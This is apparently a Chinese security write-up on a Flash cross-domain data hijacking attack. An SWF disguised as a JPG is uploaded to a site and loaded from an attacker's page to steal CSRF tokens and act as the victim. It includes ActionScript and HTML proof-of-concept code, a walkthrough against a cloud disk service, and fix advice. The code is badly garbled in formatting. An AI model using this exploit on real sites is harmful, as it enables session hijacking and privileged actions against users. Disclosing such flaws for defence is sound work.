Flash跨域数据劫持漏洞 -上传文件引发-CSRF

0×01 ,背景

很多上传文件的后端逻辑在实现时,仅仅验证了文件后缀名 Content-Type ,没有对上传文件的内容进行验证。通常情况下这样的处理逻辑仅仅是不严谨,不会造成太大的安全隐患。但经过笔者测试,发现 object 标签在包含 flash 文件时没有对嵌入的文件后缀进行判断。也就是说,只要文件内容包含了正常的 flash 文件代码,就能够被 object 标签成功加载并执行。而 ActionScript 中又提供了多种 API 能够让 Flash 发送网络请求。这样如果能够将任意后缀的 Flash 文件上传到目标域中,就能够在攻击者可控的域下让受害者访问一个精心构造的恶意页面,来对目标域进行跨域的数据劫持,获取受害者当前 Session 下的 CSRF Token ,以受害者的身份打开目标域的任何特权页面,进行特权操作。

0×02 ,利用条件

    1,  目标网站的文件上传逻辑没有验证文件内容;
2,  上传的文件没有做域隔离处理;
3,  服务端没有强制设置Content-Disposition响应头;<不直接在浏览器中显示,而是提示保存>
4,  访问上传的文件没有session限制;
  

0×03 ,攻击场景构造:

首先需要构造一个poc swf文件能够对外发送http请求,这里只做演示用,因此只实现了发送简单的GET请求,代码如下:

    importflash
    .
    net
    .
    URLLoader
    ;
    
importflash
    .
    net
    .
    URLRequest
    ;
    
importflash
    .
    net
    .
    URLLoaderDataFormat
    ;
    
importflash
    .
    net
    .
    URLVariables
    ;
    
importflash
    .
    events
    .
    Event
    ;
    
importflash
    .
    events
    .
    HTTPStatusEvent
    ;
    
importflash
    .
    events
    .
    IOErrorEvent
    ;
    
importflash
    .
    events
    .
    ProgressEvent
    ;
    
importflash
    .
    events
    .
    SecurityErrorEvent
    ;
    
importflash
    .
    display
    .
    LoaderInfo
    ;
    
importflash
    .
    system
    .
    Security
    ;
    
    Security
    .
    allowDomain
    (
    "*"
    );
    
varurlObj
    :
    Object
     
    =
     
    LoaderInfo
    (
    this
    .
    root
    .
    loaderInfo
    ).
    parameters
    .
    url
    ;
    
varrequest
    :
    URLRequest
     
    =
     
    new
     
    URLRequest
    (
    urlObj
    .
    toString
    ());
    
request
    .
    method
    =
     
    URLRequestMethod
    .
    GET
    ;
    
 
varloader
    :
    URLLoader
     
    =
     
    new
     
    URLLoader
    ();
    
itemScroll
    .
    x
    =
     response
    .
    x
    +
    response
    .
    width
    ;
    
itemScroll
    .
    y
    =
     response
    .
    y
    ;
    
itemScroll
    .
    height
    =
     response
    .
    height
    ;
    
 
loader
    .
    dataFormat
    =
     
    URLLoaderDataFormat
    .
    TEXT
    ;
    
loader
    .
    addEventListener
    (
    Event
    .
    COMPLETE
    ,
    loader_complete
    );
    
loader
    .
    load
    (
    request
    );
    
 
functionloader_complete 
    (
    e
    :
    Event
    ):
    void
     
    {
    
         trace
    (
    "Event.COMPLETE"
    );
    
         trace
    (
    "Resp Data :\n"
     
    +
     loader
    .
    data
    );
    
         response
    .
    text 
    =
     loader
    .
    data
    ;
    
         itemScroll
    .
    scrollTarget 
    =
     response
    ;
    
    }
  

首先使用了LoaderInfo(this.root.loaderInfo)object标签的flashVars参数中提取出要访问的URL,再使用URLLoader对该URL发送GET请求,响应结果回显到一个Text控件中,用作验证。

接下来构造一个页面用于包含 swf 文件,代码如下:

    <html>
    
    <head>
    
    <title>
    FlashCSRF POC by pnig0s@FreeBuf
    </title>
    
    </head>
    
    <body>
    
    <h2>
    FlashCSRF POC by pnig0s@FreeBuf
    </h2>
    
    <div>
    
swf url:
    <inputtype
    =
    "text"
     
    id
    =
    "swfurl"
     
    style
    =
    "
    width
    :
    500
    "
    ></br>
    
hijackurl:
    <input
     
    type
    =
    "text"
     
    id
    =
    "csrfurl"
    style
    =
    "
    width
    :
     
    500
    "
    ></br>
    
    <inputtype
    =
    "button"
     
    value
    =
    "submit"
     
    id
    =
    "submit"
    >
    
    </div>
    
    <iframename
    =
    "swf"
     
    style
    =
    "
    width
    :
    1000
    ;
    height
    :
    1000
    "
    ></iframe>
    
    <script>
    
functionwriteflashobject
    (
    url
    ,
    parastr
    )
     
    {
    
swf 
    =
    window
    .
    frames
    [
    "swf"
    ];
    
swf
    .
    document
    .
    write
    (
    "<objectclassid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\"width=\"1000\" height=\"1000\" id=\"FlashVars\"align=\"middle\"\>\n"
    );
    
swf
    .
    document
    .
    write
    (
    "<paramname=\"allowScriptAccess\" value=\"always\"/\>\n"
    );
    
swf
    .
    document
    .
    write
    (
    "<paramname=\"movie\" value=\"FlashVars.swf\" /\>\n"
    );
    
swf
    .
    document
    .
    write
    (
    "<paramname=\"FlashVars\" value=\""
    +
     parastr 
    +
    "\"/\>\n"
    );
    
swf
    .
    document
    .
    write
    (
    "<paramname=\"quality\" value=\"high\" /\>\n"
    );
    
swf
    .
    document
    .
    write
    (
    "<paramname=\"bgcolor\" value=\"#ffffff\" /\>\n"
    );
    
swf
    .
    document
    .
    write
    (
    "<embedsrc=\""
    +
    url
    +
    "\" quality=\"high\"bgcolor=\"#ffffff\" width=\"550\" height=\"400\"name=\"FlashVars\" align=\"middle\" allowScriptAccess=\"always\"FlashVars=\""
    +
     parastr 
    +
    "\"type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"/\>"
    );
    
swf
    .
    document
    .
    write
    (
    "</object\>"
    );
    
    }
    
    function
     
    get
     
    (
    name
    )
     
    {
    
    var
     query 
    =
    window
    .
    location
    .
    search
    .
    substring
    (
    1
    );
    
    var
     pairs 
    =
    query
    .
    split
    (
    "&"
    );
    
    for
     
    (
    var
     i 
    =
     
    0
    ;
     i
    <
    pairs
    .
    length
    ;
     i
    ++)
    
    {
    
    var
     pos
    =
    pairs
    [
    i
    ].
    indexOf
    (
    '='
    );
    
    if
    (
    pos 
    ==-
    1
    )
    continue
    ;
    
    var
     argname 
    =
    pairs
    [
    i
    ].
    substring
    (
    0
    ,
    pos
    );
    
    var
     value 
    =
    pairs
    [
    i
    ].
    substring
    (
    pos
    +
    1
    );
    
    if
     
    (
    argname 
    ==
     name
    ){
    return
     value
    ;}
    
    };
    
    }
    
    var
     submit 
    =
     document
    .
    getElementById
    (
    "submit"
    );
    
submit
    .
    addEventListener
    (
    "click"
    ,
    function
    ()
     
    {
    
    var
     swfurl 
    =
    document
    .
    getElementById
    (
    "swfurl"
    ).
    value
    ;
    
    var
     param 
    =
    "url="
    +
    document
    .
    getElementById
    (
    "csrfurl"
    ).
    value
    ;
    //"url="+get("csrfurl");
    
         writeflashobject
    (
    swfurl
    ,
    param
    );
    
    return
     
    false
    ;
    
    });
    
    </script>
    
    </body>
    
    </html>
  

最终的效果如图:

0×03 ,漏洞利用

这里以某知名厂商提供的云盘服务进行测试,演示该漏洞的利用过程。访问该云盘服务的文件上传页面。

之前写好的 swf文件后缀修改为jpg 并上传,服务端没有检查文件内容,文件上传成功

将该文件设置成共享状态,这一步是为了让最终的文件访问链接摆脱session状态的限制,能够被其他任何用户访问到。

最终在图片预览状态通过ChromeDeveloperTool找到图片的直接访问链接。形如

    http://foo.com/intf.php?method=Preview.outputPic&xid=178xxx535&fname=%2Freq.jpg&fhash=f9cefd7e900xxxxxx6d47cd5909796e1b9&dt=24.01xxxxxxd8c91c6fefad848&v=1.0.1&rtick=14008172544583&open_app_id=0&devtype=web&sign=8895bd6844bxxxxxx15e42a8b&
  

通过之前构造的html页面,使用object包含上面的链接swf文件能够被正常的执行,当其他用户访问该页面,会以该用户的身份打开指定的页面<执行http请求>,造成跨域数据劫持,此时Anti-CSRF已经形同虚设,可以获取CSRF Token,访问特权页面,进行特权操作。

0×04,影响范围

经过笔者测试,国内各知名互联网厂商,及云存储提供商均受到该问题的影响。除此之外,经过测试,一些知名的开源在线编辑器如UEditorCKEditorKindEditorXhEditorEwebeditor等也均受到该问题的影响。更多其他厂商及Web应用暂未做更多测试,不过可以预见受该问题影响的站点数量较多。

0×05,修复建议

根据之前提到过的利用条件,修复的方法也就显而易见了。

    1,对上传文件内容进行检查:
当然这并不容易,除了jpg类型,能够直接在线访问的文件类型很多,尤其对于云存储服务,以及有些服务功能性上的需要,难以全部进行验证。
2,强制设置Content-Disposition响应头:
设置该头部后能够强制浏览器对文件执行下载操作。但是对国内一些服务测试的过程中也发现了一个问题,有些直接在URL中加了类似downloadtype=1这类参数,直接设置成0就不会强制下载了。所以建议这种参数不要暴露在url中。
3,进行域隔离:
这个没什么好说的,尤其对于一些云盘,云存储的服务,对于用户上传的文件不做域隔离的都是耍流氓的行为。